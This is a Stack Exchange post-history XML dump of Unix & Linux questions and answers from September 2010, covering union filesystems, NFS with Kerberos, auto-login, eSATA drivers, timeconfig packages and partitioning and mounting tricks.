  <row Id="4959" PostHistoryTypeId="1" PostId="2395" RevisionGUID="6c098630-4444-4b5a-b8cd-f1bc0816f534" CreationDate="2010-09-23T19:56:09.377" UserId="1571" Text="Mounting a partition into a 'sandbox'" />
  <row Id="4960" PostHistoryTypeId="3" PostId="2395" RevisionGUID="6c098630-4444-4b5a-b8cd-f1bc0816f534" CreationDate="2010-09-23T19:56:09.377" UserId="1571" Text="épartitionàémountà" />
  <row Id="4961" PostHistoryTypeId="2" PostId="2396" RevisionGUID="f553f702-cf34-4dc0-a227-9042c5b343d7" CreationDate="2010-09-23T20:13:30.150" UserId="1941" Text="If / fits into the RAM of the local machine and leaves enough room for running applications, the basic idea would probably be to boot a minimal Linux system on the target machine and then automatically create a ramfs virtual disk, copy / from remote into it and chroot into this new /. If RAM is not sufficient, you can basically follow the same procedure but not using ramfs but a real disk partition whose content you have to clear before copying. Instead of clearing and full copy you could also use rsync with appropriate options. " />
  <row Id="4962" PostHistoryTypeId="2" PostId="2397" RevisionGUID="2ca75cf6-a7b6-4479-85f6-0e0b23720560" CreationDate="2010-09-23T20:27:52.160" UserId="241" Text="I think this is the same problem as here:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/135783/why-my-samba-printer-is-not-visible-after-boot-until-i-restart-smb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Samba comes before Cups, therefore it doesn't know that there are any printers." />
  <row Id="4963" PostHistoryTypeId="2" PostId="2398" RevisionGUID="0f833c89-326c-4e8e-bc16-2672c5465ac7" CreationDate="2010-09-23T20:36:06.637" UserId="305" Text="[Use][1] [unionfs][2], [aufs][3] (both are  external patches for kernel) or [unionfsfuse][4]/[funionfs][5] (uses FUSE) and create union by marking external / as RO and internal filesystem (mounted as tmpfs/ramfs/additional partition which is cleaned each time). &#xD;&#xA;&#xD;&#xA;Alternativly you can use filesystem or LVM with snapshots. Then changes are written but you can clean snapshots at each boot.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/UnionFS&#xD;&#xA;  [2]: http://unionfs.filesystems.org/&#xD;&#xA;  [3]: http://aufs.sourceforge.net/&#xD;&#xA;  [4]: http://podgorny.cz/unionfs-fuse&#xD;&#xA;  [5]: http://funionfs.apiou.org/" />
  <row Id="4964" PostHistoryTypeId="2" PostId="2399" RevisionGUID="5b22bd07-1813-4a80-981f-92aef7a6ff94" CreationDate="2010-09-23T20:37:38.447" UserId="885" Text="There are several ways to go about this. The easiest set up would use a union filesystem, which presents a single view of two directory trees A and B, such that all changes are saved to B. In your case, A would be an NFS/Samba/sshfs/… mount point, and B would be an initially empty directory on a tmpfs filesystem.&#xD;&#xA;&#xD;&#xA;Linux doesn't have an in-kernel union filesystem, but there are several [FUSE](http://fuse.sourceforge.net/) implementations: [funionfs](http://funionfs.apiou.org/), [Unionfs-fuse](http://podgorny.cz/moin/UnionFsFuse).&#xD;&#xA;" />
  <row Id="4966" PostHistoryTypeId="2" PostId="2401" RevisionGUID="3d338b86-4e9e-444b-b0b7-4a6006cacddb" CreationDate="2010-09-23T23:25:16.227" UserId="382" Text="You can control the width of columns:&#xD;&#xA;&#xD;&#xA;    ps o user:12,pid,%cpu,%mem,vsz,rss,tty,stat,start,time,comm&#xD;&#xA;&#xD;&#xA;this reproduces the `u` format of `ps u`, but it makes the user field 12 characters wide." />
  <row Id="4967" PostHistoryTypeId="5" PostId="2347" RevisionGUID="4b762725-8cb7-4eaf-baa0-87ae7758a68c" CreationDate="2010-09-24T00:07:25.110" UserId="4" Comment="added 2 characters in body" Text="The term &quot;Unix&quot; technically refers to an actual thing, as described by others in this post.&#xD;&#xA;&#xD;&#xA;The general community lacks a good term for the class of product which we call Unix, Linux, BSD, *BSD, Solaris, etc. These products are related and have alot in common. A CentOS administrator can perform many tasks on a Solaris or FreeBSD system, for example. Also, many people have never heard of Solaris or FreeBSD, but they've heard of &quot;Unix&quot;. So, some people use the term &quot;Un*x&quot; to refer to this class of software.&#xD;&#xA;&#xD;&#xA;I also think that &quot;Un*x&quot; is a humorous word. How do you verbally pronounce &quot;Un*x&quot;, for example? &#xD;&#xA;&#xD;&#xA;*I noticed at the welcoming banner at the Unix StackExchange site*&#xD;&#xA;&#xD;&#xA;I created that wording, so I'll tell you why I did it. I used &quot;Un*x&quot; because I thought it was clever and funny, and I wanted to answer questions like &quot;Does this include things like $MY_FAVORITE_UNIXLIKE_PRODUCT?&quot;." />
  <row Id="4969" PostHistoryTypeId="5" PostId="2382" RevisionGUID="44ab47ef-7b73-441e-acb2-96633607f785" CreationDate="2010-09-24T05:26:30.133" UserId="1966" Comment="fixed grammar" Text="I've setup NFSv4 using Kerberos (works great), but now I need to add NFSv3 with Kerberos. When trying to mount the NFSv3 export, I get a permission needed error on the client and on the server the error is &quot;unmatched host&quot;. &#xD;&#xA;&#xD;&#xA;    In /etc/export I just have: &#xD;&#xA;    /test gss/krb5(rw,sync)&#xD;&#xA;&#xD;&#xA;The &quot;unmatched host&quot; error usually means that you haven't specified that the client can access the server in the export file. But with kerberos you shouldn't need to. The export man file states:&#xD;&#xA;&#xD;&#xA;&gt; **RPCSEC_GSS security**&#xD;&#xA;To restrict access to an export using rpcsec_gss security, use the special string &quot;gss/krb5&quot; as the client. It is not possible to simultaneously require rpcsec_gss and to make requirements on the IP address of the client.&#xD;&#xA;&#xD;&#xA;I'm pretty sure Kerberos is setup correctly (again NFSv4 with kerberos works) and from what I've read on the web, I think the NFS server is setup correctly (settings are below) and the necessary services are running. I currently testing on Ubuntu 10.4, but had the same problem on Novell SLED 10.3.&#xD;&#xA;&#xD;&#xA;Anyone have an idea what I could be doing wrong? or can point me to a NFSv3 w/kerberos how-to?&#xD;&#xA;&#xD;&#xA;    nss-common:&#xD;&#xA;    NEED_STATD=yes&#xD;&#xA;    STATDOPTS=&#xD;&#xA;    NEED_IDMAPD=no&#xD;&#xA;    NEED_GSSD=yes&#xD;&#xA;    &#xD;&#xA;    nss-kernel-srever:&#xD;&#xA;    RPCNFSDCOUNT=&quot;8 --no-nfs-version 4  --no-nfs-version 2&quot;&#xD;&#xA;    RPCNFSDPRIORITY=0&#xD;&#xA;    RPCMOUNTDOPTS=&quot;--manage-gids&quot;&#xD;&#xA;    NEED_SVCGSSD=yes&#xD;&#xA;    RPCSVCGSSDOPTS=&quot; -vvv &quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4970" PostHistoryTypeId="2" PostId="2402" RevisionGUID="f84edfdb-fcc3-4362-917f-6576c38f6987" CreationDate="2010-09-24T08:08:42.850" UserId="1794" Text="Have you already unchecked &quot;Enable system beep&quot; in System -&gt; Preferences -&gt; Sound -&gt; System Beep?" />
  <row Id="4971" PostHistoryTypeId="2" PostId="2403" RevisionGUID="4c90c3f6-01e5-4160-ae67-edff31618c55" CreationDate="2010-09-24T13:13:31.767" UserId="33" Text="I know of no existing distro but this should be rather simple to build with Debian using [preseeding][1]. &#xD;&#xA;&#xD;&#xA;You Just create your own package that basically depends on the packages for your benchmarking solution. That package comes with a /etc/init.d/ script that starts the benchmarking at boot, stores the results wherever you need them and shuts the system down afterwards. &#xD;&#xA;&#xD;&#xA;With preseeding you can automate the debian installer to just take the system, slap debian on, install your custom package, reboot, have the tests run and shut the system down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/DebianInstaller/Preseed" />
  <row Id="4973" PostHistoryTypeId="2" PostId="2405" RevisionGUID="fe594807-526a-4bb9-b384-0774cf95cf12" CreationDate="2010-09-24T16:04:04.523" UserId="1375" Text="I am thinking about doing an Ubuntu installation with their mini ISO, which comes only with the barebones system without a desktop environment/GUI.&#xD;&#xA;&#xD;&#xA;I remember being given the option to set up automatic login when doing a full Ubuntu desktop installation, but how to I enable that for the mini ISO install? Did I miss something? Also, is there a generalised way to do this on any Linux OS?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="4974" PostHistoryTypeId="1" PostId="2405" RevisionGUID="fe594807-526a-4bb9-b384-0774cf95cf12" CreationDate="2010-09-24T16:04:04.523" UserId="1375" Text="Auto login for Ubuntu (or other Linux) without GUI?" />
  <row Id="4975" PostHistoryTypeId="3" PostId="2405" RevisionGUID="fe594807-526a-4bb9-b384-0774cf95cf12" CreationDate="2010-09-24T16:04:04.523" UserId="1375" Text="éubuntuàéloginàéguiàédefaultsàéautologinà" />
  <row Id="4976" PostHistoryTypeId="2" PostId="2406" RevisionGUID="674c8935-d73d-457c-a173-332c09451846" CreationDate="2010-09-24T16:10:10.623" UserId="1794" Text="Maybe the difference is that the *nix guys learn their system more often from community where the people use not the perfectly correct terms (dash), but the simple terms (minus). The users of proprietary software maybe get their knowledge more from trainings, etc. where the use of incorrect terms will result in unrelaxed customers bringing the video training back ;)&#xD;&#xA;&#xD;&#xA;Btw: No statistical data were used except my personal stereotypes ;)&#xD;&#xA;&#xD;&#xA;In german &quot;minus&quot; is &quot;Minus&quot; and &quot;hyphen&quot; is &quot;Bindestrich&quot;, so much to complex to use it to say commands ;)" />
  <row Id="4977" PostHistoryTypeId="2" PostId="2407" RevisionGUID="9f71808d-894d-4e2a-a2a0-aa41f7b9e382" CreationDate="2010-09-24T16:50:14.723" UserId="396" Text="It's not a distro, you'll still have to put this on a LiveCD or automated Debian install, but I'd try the [Phoronix Test Suite.][1]  It's quite automated, and supports storing benchmark results on a central server.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phoronix-test-suite.com/ &quot;Phoronix Test Suite&quot;" />
  <row Id="4978" PostHistoryTypeId="2" PostId="2408" RevisionGUID="25b3656b-d804-4977-886b-8301bfbc541d" CreationDate="2010-09-24T18:03:12.190" UserId="1571" Text="We all know that mounting a new partition as /home and maybe /boot is extremely useful. Or mounting a remote directory as /opt can be great for sharing system tools. Are there any other, maybe more esoteric, uses for extra partitions or hard drives or nifty ways to mount external volumes? Maybe even if anyone also has windows machines \*shudder\*, post some cool tricks involving partitioning and hard drive mounting." />
  <row Id="4979" PostHistoryTypeId="1" PostId="2408" RevisionGUID="25b3656b-d804-4977-886b-8301bfbc541d" CreationDate="2010-09-24T18:03:12.190" UserId="1571" Text="Favorite partitioning tricks" />
  <row Id="4980" PostHistoryTypeId="3" PostId="2408" RevisionGUID="25b3656b-d804-4977-886b-8301bfbc541d" CreationDate="2010-09-24T18:03:12.190" UserId="1571" Text="émountàétipsöandötricksà" />
  <row Id="4981" PostHistoryTypeId="16" PostId="2408" RevisionGUID="25b3656b-d804-4977-886b-8301bfbc541d" CreationDate="2010-09-24T18:03:12.190" UserId="1571" />
  <row Id="4982" PostHistoryTypeId="2" PostId="2409" RevisionGUID="bf342a28-0cef-4c09-9cfb-098d86b79882" CreationDate="2010-09-24T18:43:08.573" UserId="1131" Text="Performance related:&#xD;&#xA;&#xD;&#xA;Avoid file access time writing:&#xD;&#xA;&#xD;&#xA;    -o noatime&#xD;&#xA;&#xD;&#xA;Usability related:&#xD;&#xA;&#xD;&#xA;You can use alternative device names, e.g. labels or uuids.&#xD;&#xA;&#xD;&#xA;For example to identify my MP3 player I use this device name in my fstab:&#xD;&#xA;&#xD;&#xA;    UUID=0C9F-6901&#xD;&#xA;&#xD;&#xA;You can print the uuids of connected devices via the blkid command.&#xD;&#xA;&#xD;&#xA;Analogous to that you can set a label at mkfs time or later via e2fstune and comparable tools. Then you can use&#xD;&#xA;&#xD;&#xA;    LABEL=mylabel&#xD;&#xA;&#xD;&#xA;in the fstab or at the command line.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4983" PostHistoryTypeId="16" PostId="2409" RevisionGUID="bf342a28-0cef-4c09-9cfb-098d86b79882" CreationDate="2010-09-24T18:43:08.573" UserId="-1" />
  <row Id="4984" PostHistoryTypeId="4" PostId="2408" RevisionGUID="7d7ec231-ffdd-491e-82fc-4f06a734c368" CreationDate="2010-09-24T18:43:47.010" UserId="1131" Comment="title -&gt; mounting ..." Text="Favorite partitioning and mounting tricks" />
  <row Id="4985" PostHistoryTypeId="2" PostId="2410" RevisionGUID="d012086c-6e5a-4c7c-a2cc-f1b580141797" CreationDate="2010-09-24T18:51:28.413" UserId="1941" Text="You might find some ideas in [this thread of linuxquestions.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxquestions.org/questions/linux-software-2/autologin-without-gui-374338/" />
  <row Id="4986" PostHistoryTypeId="2" PostId="2411" RevisionGUID="ded245f8-c776-4e7d-8bf8-d9a65e04e97e" CreationDate="2010-09-24T18:54:03.417" UserId="1941" Text="I like to have a separate partition for all personal data which I don't have to backup, e.g. svn checkouts, copies of data which mainly resides on an other server etc" />
  <row Id="4987" PostHistoryTypeId="16" PostId="2411" RevisionGUID="ded245f8-c776-4e7d-8bf8-d9a65e04e97e" CreationDate="2010-09-24T18:54:03.417" UserId="-1" />
  <row Id="4988" PostHistoryTypeId="2" PostId="2412" RevisionGUID="9cc0d741-eeb0-42a9-a9d7-04c0b6448203" CreationDate="2010-09-24T19:14:56.673" UserId="1928" Text="Hi,&#xD;&#xA;&#xD;&#xA;Well, I've got setuptools set up and have read through the list of what's in /etc/setuptools.d &#xD;&#xA;&#xD;&#xA;I'm interested in installing timeconfig as well, however I only need the TUI version (no GUI). Which rpms do I need (I'll be including these RPMs in a CentOS ISO installation).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="4989" PostHistoryTypeId="1" PostId="2412" RevisionGUID="9cc0d741-eeb0-42a9-a9d7-04c0b6448203" CreationDate="2010-09-24T19:14:56.673" UserId="1928" Text="What RPMs do I need for timeconfig?" />
  <row Id="4990" PostHistoryTypeId="3" PostId="2412" RevisionGUID="9cc0d741-eeb0-42a9-a9d7-04c0b6448203" CreationDate="2010-09-24T19:14:56.673" UserId="1928" Text="éconfigurationà" />
  <row Id="4991" PostHistoryTypeId="5" PostId="2412" RevisionGUID="22f1af32-84bb-4e86-affc-c6f2c63e6db2" CreationDate="2010-09-24T19:25:10.060" UserId="73" Comment="deleted 21 characters in body; edited tags" Text="I've got `setuptools` set up and have read through the list of what's in `/etc/setuptools.d`&#xD;&#xA;&#xD;&#xA;I'm interested in installing `timeconfig` as well, but I only need the TUI version (no GUI). Which RPMs do I need? (I'll be including these RPMs in a CentOS ISO installation)&#xD;&#xA;" />
  <row Id="4992" PostHistoryTypeId="6" PostId="2412" RevisionGUID="22f1af32-84bb-4e86-affc-c6f2c63e6db2" CreationDate="2010-09-24T19:25:10.060" UserId="73" Comment="deleted 21 characters in body; edited tags" Text="éconfigurationàérpmàécentosàésetuptoolsà" />
  <row Id="4994" PostHistoryTypeId="2" PostId="2414" RevisionGUID="d538cfb9-23f9-4a5e-bd4d-2e7b7030a20d" CreationDate="2010-09-24T21:02:45.433" UserId="383" Text="You have someone who can only access your server over ftp and are confined to their home directory but you realise they they need access to some other directory not in their home folder.&#xD;&#xA;&#xD;&#xA;For example bob has ftp access to your web server, but also you want to let him view the log files in /var/logs/httpd/vhosts/bobssite.com/. It is a hassle to reconfigure everything so that apache writes logs for bobssite.com to bobs home folder but you can use the bind option to remount the folder like this&#xD;&#xA;&#xD;&#xA;    mkdir /home/bob/logs&#xD;&#xA;    mount --bind /var/logs/httpd/vhosts/bobssite.com /home/bob/logs/&#xD;&#xA;&#xD;&#xA;[More information can be found here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/138555/setup-symbolic-link-where-users-can-access-it-with-ftp" />
  <row Id="4995" PostHistoryTypeId="16" PostId="2414" RevisionGUID="d538cfb9-23f9-4a5e-bd4d-2e7b7030a20d" CreationDate="2010-09-24T21:02:45.433" UserId="-1" />
  <row Id="4996" PostHistoryTypeId="2" PostId="2415" RevisionGUID="7644cd62-ab97-47ad-981b-bd9f06ee60fd" CreationDate="2010-09-24T21:06:51.830" UserId="1982" Text="Does anyone know if there's kernel support for the eSATA controller in the Intel H57 chipset, or if there's a driver for it somewhere? *(Full disclosure: [Asked][1] over on SuperUser.com, no luck, but as this is more of a \*nix-oriented place...)*&#xD;&#xA;&#xD;&#xA;I'm just having no luck getting my Ubuntu 10.04 LTS desktop (64-bit) to recognise a drive in an eSATA enclosure. It works fine if I use the same enclosure via its USB2 connector instead, which tells me that the drive is installed in the enclosure successfully and that the drive works.&#xD;&#xA;&#xD;&#xA;Here's what I've tried / checked:&#xD;&#xA;&#xD;&#xA;1. Connecting the drive naively. Literally, plugging the eSATA cable into the box and turning the drive on, while Ubuntu was running. No reaction, and nothing shows up in the Disk Uility or `fdisk -l`.&#xD;&#xA;&#xD;&#xA;2. Leaving the drive connected and cold booting Ubuntu. Still nothing on DU or `fdisk -l`.&#xD;&#xA;&#xD;&#xA;3. Ensuring that the BIOS has the eSATA port enabled (it did, I didn't have to change it).&#xD;&#xA;&#xD;&#xA;4. Ensuring that the BIOS is using AHCI. It wasn't, and that hadn't been any problem accessing the internal SATA SSD (the box's primary drive). (The SSD showed up under the PATA controller, because I think the BIOS was doing emulation or something.) Switching the BIOS to use AHCI on the SATA controller didn't make any difference other than that the SSD showed up under the SATA controller instead and was listed as using the ahci driver, as you'd expect.&#xD;&#xA;&#xD;&#xA;5. Looking in `dmesg` for anything useful. I don't see any mention of the drive at all (except from when I had it attached via USB).&#xD;&#xA;&#xD;&#xA;Other info:&#xD;&#xA;&#xD;&#xA;* eSATA is on the motherboard, an [Intel DH57JG][2], which uses the Intel H57 chipset.&#xD;&#xA;* Enclosure is an [Apex][3] (cheap, but other than cable length issues people on Amazon seemed to like it, and it's handsome).&#xD;&#xA;* Drive is a [Samsung F3 HD103SJ][4].&#xD;&#xA;* Cable is, well, [a cable][5].&#xD;&#xA;* Intel [doesn't seem to have][6] any specific Linux drivers for the board (Ubuntu or Linux aren't even *categories* [here][7], for instance), they just list that the chipset is supported &quot;native.&quot; But as they don't call out eSATA specifically, that could mean anything.&#xD;&#xA;&#xD;&#xA;Unfortunately, I don't have any other machine that supports eSATA so I can do the obvious thing and prove that the rig (enclosure and cable) work over eSATA on another box. :-( And I don't have my desktop set up to dual-boot another OS... So at this stage, I don't know it's a software problem, could be hardware, could be cable, but the Ubuntu-oriented vendor I bought it from says they don't know how to get it working either (not that they mentioned that on their product page!), so...&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/191997&#xD;&#xA;  [2]: http://www.intel.com/products/desktop/motherboards/dh57jg/dh57jg-overview.htm&#xD;&#xA;  [3]: http://www.amazon.co.uk/gp/product/B001T6ZUW2&#xD;&#xA;  [4]: http://www.amazon.co.uk/gp/product/B002MQC0P8&#xD;&#xA;  [5]: http://www.amazon.co.uk/gp/product/B000SKN8VK&#xD;&#xA;  [6]: http://www.intel.com/support/motherboards/desktop/dh57jg/sb/CS-031531.htm&#xD;&#xA;  [7]: http://downloadcenter.intel.com/SearchResult.aspx?lang=eng&amp;ProductFamily=Desktop+Boards&amp;ProductLine=Intel%C2%AE+5+Series+Chipset+Boards&amp;ProductProduct=Intel%C2%AE+Desktop+Board+DH57JG" />
  <row Id="4997" PostHistoryTypeId="1" PostId="2415" RevisionGUID="7644cd62-ab97-47ad-981b-bd9f06ee60fd" CreationDate="2010-09-24T21:06:51.830" UserId="1982" Text="Getting Ubuntu working with eSATA (Intel H57 chipset)" />
  <row Id="4998" PostHistoryTypeId="3" PostId="2415" RevisionGUID="7644cd62-ab97-47ad-981b-bd9f06ee60fd" CreationDate="2010-09-24T21:06:51.830" UserId="1982" Text="éubuntuàédriversà" />
  <row Id="4999" PostHistoryTypeId="2" PostId="2416" RevisionGUID="5642a2d9-9c16-4fe2-9a6f-d16d28c99ca0" CreationDate="2010-09-24T21:14:41.297" UserId="383" Text="You need the package system-config-date.&#xD;&#xA;&#xD;&#xA;In CentOS it is not installed by default but you can install it by typing&#xD;&#xA;&#xD;&#xA;    sudo yum install system-config-date &#xD;&#xA;&#xD;&#xA;and that should get you the tui tool you need which you can run by typing&#xD;&#xA;&#xD;&#xA;    sudo system-config-date" />
  <row Id="5000" PostHistoryTypeId="2" PostId="2417" RevisionGUID="702e122f-3cd9-44af-b425-d0dd5de96fcf" CreationDate="2010-09-24T21:48:46.567" UserId="1971" Text="If you can make a reasonable guess as to where a command is located, yum can tell you what package it's in.&#xD;&#xA;&#xD;&#xA;    # yum resolvedep /usr/bin/timeconfig&#xD;&#xA;    No Package Found for /usr/bin/timeconfig&#xD;&#xA;    &#xD;&#xA;    # yum resolvedep /usr/sbin/timeconfig&#xD;&#xA;    0:system-config-date-1.8.12-4.el5.noarch&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5002" PostHistoryTypeId="2" PostId="2418" RevisionGUID="a3cbe84e-178e-4ce5-86b3-2b426ddda48b" CreationDate="2010-09-24T22:26:04.290" UserId="1835" Text="What you want is `debconf`. See http://www.fifi.org/doc/debconf-doc/tutorial.html" />
  <row Id="5003" PostHistoryTypeId="2" PostId="2419" RevisionGUID="8e04e798-8d5e-426b-a908-e46597eaf0a1" CreationDate="2010-09-24T22:27:37.097" UserId="1835" Text="At work, we use hand-rolled kernels in order to apply out-of-tree patches such as vserver and unionfs.&#xD;&#xA;&#xD;&#xA;At home, I am compiling hand-rolled kernels in order to find which commit introduced a bug I am experiencing.   Once I've finished that, I will probably stick to a hand-rolled kernel until the bug is fixed in my distribution (Debian), at which point I would revert to their kernels again." />
  <row Id="5004" PostHistoryTypeId="2" PostId="2420" RevisionGUID="00a7e650-08a7-4604-886a-b1f5850bee1e" CreationDate="2010-09-25T00:39:49.720" UserId="885" Text="If your OS supports it, make all your filesystems on RAID 1 arrays, even if you they're not replicated. That way, if you ever need to transfer the filesystem to a different disk, you can do it online and quickly by adding the partition on the second disk to the array, rebuilding the array and removing the first disk.&#xD;&#xA;&#xD;&#xA;Some [LVM](http://en.wikipedia.org/wiki/Logical_volume_management) systems can mirror volumes, so you don't need another layers. [ZFS](http://en.wikipedia.org/wiki/ZFS) does it without any external help.&#xD;&#xA;" />
  <row Id="5005" PostHistoryTypeId="16" PostId="2420" RevisionGUID="00a7e650-08a7-4604-886a-b1f5850bee1e" CreationDate="2010-09-25T00:39:49.720" UserId="-1" />
  <row Id="5006" PostHistoryTypeId="2" PostId="2421" RevisionGUID="ce617e23-5a29-4c7a-aeb9-a323e325f4ac" CreationDate="2010-09-25T00:54:26.423" UserId="885" Text="Most unices have a [logical volume manager](http://en.wikipedia.org/wiki/Logical_volume_management). Use it.&#xD;&#xA;&#xD;&#xA;* Filesystems are now designated by meaningful names (like `/dev/mapper/darkstar-home`) rather than through drive letters (like `/dev/sda1`, oops, it's now `/dev/sdb1` because I booted with an external disk plugged in) or with safe but meaningless UUIDs.&#xD;&#xA;&#xD;&#xA;* Want to move a filesystem to a different disk? Create a physical volume on the new disk, add it to the volume group, and move the logical volume onto the new physical volume. All done without downtime, no unmounting required.&#xD;&#xA;&#xD;&#xA;* When you make a backup, take a snapshot of the disk and run your backup from the snapshot. That way the backup is a consistent view of the filesystem (i.e., there really was a point in time when the filesystem was in that state). This doesn't hold with naive backups (e.g. file A is backed up, then a program modifies first A then B, then B is backed up: the backup has the new B and the old A).&#xD;&#xA;&#xD;&#xA;* Need to enlarge a filesystem? Logical volumes don't need to be contiguous, so all you need is enough free space, never mind where.&#xD;&#xA;" />
  <row Id="5007" PostHistoryTypeId="16" PostId="2421" RevisionGUID="ce617e23-5a29-4c7a-aeb9-a323e325f4ac" CreationDate="2010-09-25T00:54:26.423" UserId="-1" />
  <row Id="5008" PostHistoryTypeId="2" PostId="2422" RevisionGUID="bb366832-3da5-4cec-8974-96f420b6b021" CreationDate="2010-09-25T00:58:59.343" UserId="885" Text="Most unices clean `/tmp` on boot. If you do this, there isn't much point in storing the contents of `/tmp` on disk in the first place. Many unices allow a filesystem to be stored in memory (the data will be written in the swap if necessary). For some reason, even though Linux has `tmpfs` for this, most distributions don't mount `/tmp` as `tmpfs`. It's easily remedied with a line in `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    tmpfs  /tmp  tmpfs  mode=1777&#xD;&#xA;" />
  <row Id="5009" PostHistoryTypeId="16" PostId="2422" RevisionGUID="bb366832-3da5-4cec-8974-96f420b6b021" CreationDate="2010-09-25T00:58:59.343" UserId="-1" />
  <row Id="5010" PostHistoryTypeId="2" PostId="2423" RevisionGUID="70199af7-b4cd-4080-b37b-31b66825acba" CreationDate="2010-09-25T01:35:09.857" UserId="1989" Text="Servers are usually built for high throughput instead of high responsiveness, so you should keep that in mind when evaluating the responsiveness of a server system." />
  <row Id="5011" PostHistoryTypeId="2" PostId="2424" RevisionGUID="2a3a3734-827a-48b7-a865-d9fc7eb2c049" CreationDate="2010-09-25T01:35:56.230" UserId="885" Text="[FUSE](http://fuse.sourceforge.net) (Filesystem in USErspace) allows many things to be accessible as ordinary files (not an exhaustive list by any means):&#xD;&#xA;&#xD;&#xA;* remote files accessed via [FTP](http://curlftpfs.sourceforge.net)&#xD;&#xA;* remote files accessed via [ssh](http://fuse.sourceforge.net/sshfs.html)&#xD;&#xA;* remote files accessed via [WebDAV](http://0pointer.de/lennart/projects/fusedav/)&#xD;&#xA;* files in [archives](http://avf.sourceforge.net/)&#xD;&#xA;* files inside a non-running virtual machine image with [xmount](https://www.pinguin.lu/)&#xD;&#xA;* anything that looks like a file to a [Gnome application](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FileSystems#GnomeVFS2_FUSE)&#xD;&#xA;* [Blogger blogs](http://code.google.com/p/bloggerfs)&#xD;&#xA;* [Flickr](http://sites.google.com/site/manishrjain/flickrfs)&#xD;&#xA;&#xD;&#xA;There are also many FUSE filesystems that present a view of another filesystem with filtering, renaming or modified metadata or content:&#xD;&#xA;&#xD;&#xA;* Keep copies of all past versions of files with [copyfs](http://n0x.org/copyfs/), [waybackfs](http://wayback.sourceforge.net/), ...&#xD;&#xA;* Log every action with [loggedfs](http://sourceforge.net/projects/loggedfs/)&#xD;&#xA;* Encrypt files transparently with [encfs](http://www.arg0.net/encfs)&#xD;&#xA;* Convert audio content with [mp3fs](http://mp3fs.sourceforge.net/)&#xD;&#xA;* See a read-only view or change permissions with [bindfs](http://code.google.com/p/bindfs/)&#xD;&#xA;* See a partial read-only view with [rofs-filtered](http://ebixio.com/rofs-filtered)&#xD;&#xA;* Convert file name character sets with [convmvfs](http://fuse-convmvfs.sourceforge.net/)&#xD;&#xA;* Get a case-insensitive view with [ciopfs](http://brain-dump.org/projects/ciopfs/)&#xD;&#xA;&#xD;&#xA;More possibilities on the [FUSE site](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FileSystems) and elsewhere. You can also easily define your own in&#xD;&#xA;[Erlang](http://code.google.com/p/fuserl/),&#xD;&#xA;[Haskell](http://darcs.haskell.org/hfuse/),&#xD;&#xA;[Lisp](http://mtn-host.prjek.net/projects/cl-fuse/),&#xD;&#xA;[Lua](http://code.google.com/p/luafuse/),&#xD;&#xA;[Ocaml](http://sourceforge.net/projects/ocamlfuse),&#xD;&#xA;[Perl](http://search.cpan.org/dist/Fuse/),&#xD;&#xA;[Python](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FusePython),&#xD;&#xA;...&#xD;&#xA;" />
  <row Id="5012" PostHistoryTypeId="16" PostId="2424" RevisionGUID="2a3a3734-827a-48b7-a865-d9fc7eb2c049" CreationDate="2010-09-25T01:35:56.230" UserId="-1" />
  <row Id="5013" PostHistoryTypeId="2" PostId="2425" RevisionGUID="ebc4c511-85c1-4cea-965f-ac1c239d2f6b" CreationDate="2010-09-25T02:22:20.730" UserId="1990" Text="Hi, everyone, I made a hard but solid decision today: to change my operating system from window-vista to Linux. I wanna completely get rid of vista, and make a brand new computer but with Linux OS. &#xD;&#xA;Please, gurus, tell me how to do this, especially, how to tackle the device driver problem, I am using Lenovo-ThinkPad-T400." />
  <row Id="5014" PostHistoryTypeId="1" PostId="2425" RevisionGUID="ebc4c511-85c1-4cea-965f-ac1c239d2f6b" CreationDate="2010-09-25T02:22:20.730" UserId="1990" Text="Gurus, help me, I wanna get rid of Vista" />
  <row Id="5015" PostHistoryTypeId="3" PostId="2425" RevisionGUID="ebc4c511-85c1-4cea-965f-ac1c239d2f6b" CreationDate="2010-09-25T02:22:20.730" UserId="1990" Text="éosà" />
  <row Id="5016" PostHistoryTypeId="2" PostId="2426" RevisionGUID="0fc9ea28-00c8-48bf-8f23-eea3fbfe2752" CreationDate="2010-09-25T02:50:52.253" UserId="1991" Text="Take the safest road: Try CDlives of some distros to verify that everything is recognized. If succesful you can install to your hard disk without worrying." />
  <row Id="5017" PostHistoryTypeId="5" PostId="2425" RevisionGUID="39003ae5-ca7c-4f58-87b6-4b96cd3d10e5" CreationDate="2010-09-25T03:13:13.440" UserId="73" Comment="deleted 106 characters in body; edited tags; edited title" Text="I want to completely format my computer and replace my current OS with Linux. How should I go about doing this? Particularly, how do I handle finding all the device drivers I'll need? I'm using a Lenovo ThinkPad T400&#xD;&#xA;" />
  <row Id="5018" PostHistoryTypeId="4" PostId="2425" RevisionGUID="39003ae5-ca7c-4f58-87b6-4b96cd3d10e5" CreationDate="2010-09-25T03:13:13.440" UserId="73" Comment="deleted 106 characters in body; edited tags; edited title" Text="How to install Linux on a Lenovo ThinkPad T400" />
  <row Id="5019" PostHistoryTypeId="6" PostId="2425" RevisionGUID="39003ae5-ca7c-4f58-87b6-4b96cd3d10e5" CreationDate="2010-09-25T03:13:13.440" UserId="73" Comment="deleted 106 characters in body; edited tags; edited title" Text="élinuxàéinstallàéosàéthinkpadà" />
